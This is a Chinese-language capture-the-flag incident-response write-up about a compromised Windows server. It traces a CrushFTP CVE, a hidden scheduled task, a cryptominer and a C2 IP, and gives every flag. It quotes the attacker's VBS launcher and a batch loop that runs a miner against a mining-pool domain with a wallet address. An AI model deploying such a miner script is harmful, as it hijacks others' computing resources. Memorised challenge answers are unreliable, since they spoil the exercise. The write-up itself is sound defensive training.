Solar月赛(应急响应)——攻击者使用什么漏洞获取了服务器的配置文件?
某某文化有限公司的运维小王刚刚搭建服务器发现cpu莫名的异常的升高请你帮助小王排查一下服务器。
文章目录
- 事件介绍
- 事件1:帮助小王找到是什么漏洞?
- 事件2:系统每天晚上系统都会卡卡的帮小明找到问题出在了那?
- 事件3:恶意域名是什么?
- 事件4:疑似是什么组织发动的攻击?
- 事件5:攻击者C2服务器IP是什么?
- 总结
事件介绍
起因:某某文化有限公司的运维小王刚刚搭建服务器发现cpu莫名的异常的升高请你帮助小王排查一下服务器。
帮助小王找到是什么漏洞导致了小王的运维生涯受到了打击?(回答攻击者利用的漏洞编号)
主机pass:Ngy@667788
flag格式为:flag{CVE-2020-12345}
相关资料下载:
链接: https://pan.baidu.com/s/1vAXXygEwdhXtLeoF8yA6KA?pwd=9d97 提取码: 9d97
解压密码:MWhEYGjaHkjk3UkE
事件1:帮助小王找到是什么漏洞?
首先我们打开下载的镜像文件放到虚拟机里运行,发现是一台Windows 10 Server的服务器:
根据题目的 ”帮助小王找到是什么漏洞?“ ,我们可以发现桌面有几个文件,打开看一下;
在浏览器里搜索两个文件的名字,可以发现这两个都是CVE漏洞:
输入flag后发现都不对,然后我也是问AI他们各自都有哪些CVE漏洞,最后也是找到了CrushFTP的一个CVE漏洞符合:
flag{CVE-2025-31161}
–
事件2:系统每天晚上系统都会卡卡的帮小明找到问题出在了那?
根据题目的 ”刚刚搭建服务器发现cpu莫名的异常的升高“ ,我们可以想到要么是开机启动项存在可疑任务,或者就是计划任务存在挖矿程序。
根据上述这些思路,我们可以进行相应的排查:
(1)计划任务检查
- 首先在搜索框
任务计划程序
查看有哪些可疑的进程正在运行; - 单击【开始】>【设置】>【控制面板】>【任务计划程序】;
- 单击【开始】>【运行】,输入 “cmd”,然后在命令提示符窗口中输入 “
schtasks.exe
”
(2)检查开机启动项:
- 单击【开始】>【所有程序】>【启动】,默认情况下此目录为空;
- 单击【开始】>【运行】,输入 “
msconfig
”,在弹出的窗口中切换到 “启动” 选项卡,查看是否存在命名异常的启动项目。若有,取消勾选该项目,并根据命令中显示的路径删除对应的文件。
(当然上述这些方法可能都太麻烦了,有没有更简单的办法。)
有的,这时候我们也可以使用工具帮助我们进行排查:
我个人一般使用
D盾
和Autoruns
来进行相应的检查
话不多说,直接执行这两个程序(标红
的表示可能是恶意程序或者计划任务)
也是发现了部分异样:计划任务
资源管理器:
然后也是找到了恶意的计划任务sql
sql backing up就是导致每晚卡顿的原因
flag{sqlbackingup}
–
事件3:恶意域名是什么?
根据之前的发现,继续在这个文件夹里发掘看看还有什么收获。
set ws=createobject("wscript.shell")
ws.Run """sqlwscript.cmd""",0
-
set ws=createobject(“wscript.shell”)
createobject("wscript.shell")
:创建一个 WScript.Shell 对象的实例。这个对象能让脚本与 Windows 操作系统进行交互,例如执行程序、创建快捷方式、读写注册表等。set ws = ...
:把创建好的 WScript.Shell 对象赋值给变量ws,方便后续使用。
-
ws.Run “”“sqlwscript.cmd”“”,0
ws.Run ...
:调用 WScript.Shell 对象的Run方法来执行外部程序或脚本。"""sqlwscript.cmd"""
:要执行的命令。这里使用三重引号是为了正确处理路径中可能存在的空格。第一个和第三个引号是 VBScript 字符串的定界符,中间的两个引号会被解析为批处理文件路径里的一个引号。,0
:Run方法的第二个参数,表示窗口样式。值为 0 时,意味着程序会在后台运行,也就是不会显示窗口。
接下来再查看sqlwscript这个脚本:
代码如下:
@echo off
cd /d "%~dp0"
:start
sqlwpr.exe -a rx/0 --url b.oracleservice.top --user 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ -t 0
goto start
从上面我们可以看到恶意的url了:
flag{b.oracleservice.top}
–
事件4:疑似是什么组织发动的攻击?
然后在文件夹发现一个应用程序sqlwpr,对刚才的代码进行分析:
- 基础设置:
@echo off
:使命令执行过程不在控制台显示,保持界面干净。cd /d "%~dp0"
:将工作目录切换到脚本所在目录,确保后续操作路径无误。
- 挖矿主循环:
- :start和goto start构成无限循环,让挖矿程序持续运行。
sqlwpr.exe -a rx/0 --url b.oracleservice.top --user ... -t 0
:调用挖矿程序进行加密货币挖掘。其中:-a rx/0
:采用 RandomX 算法,常用于门罗币(XMR)等加密货币的挖掘。- –url b.oracleservice.top:连接到指定的矿池服务器,该服务器域名显示与 Oracle 无关,是用于接收挖矿算力的远程地址。
--user ...
:使用的矿工账户,是一个较长的字符串,用于标识挖矿收益的归属。
--t 0
:设置线程数为 0,意味着程序会自动使用所有可用 CPU 核心,这会使 CPU 使用率大幅上升。
随后搜索恶意域名,发现具体的组织:
flag{8220Gang}
–
事件5:攻击者C2服务器IP是什么?
查看挖矿程序的上传时间,确定时间大概在2025.5.27 23:20:00左右
随后在Win + R 唤出cmd,然后输入eventvwr.msc
打开系统日志管理:
查询windows的安全日志,筛选 5156 事件(Windows 过滤平台放行连接),逐一查询这段时间之后powershell的出战痕迹
随后也是找到了相应的IP地址。具体如何筛选可以看这篇文章:Windows日志分析
当然,也可以直接导出筛选日志进行关键词搜索
将已筛选的日志导出为txt文件,然后直接搜索powershell.exe关键词,找出可疑的出站目的IP地址,即为C2服务器IP。
flag{156.238.230.57}
总结
没什么好说的,多学多练多复习。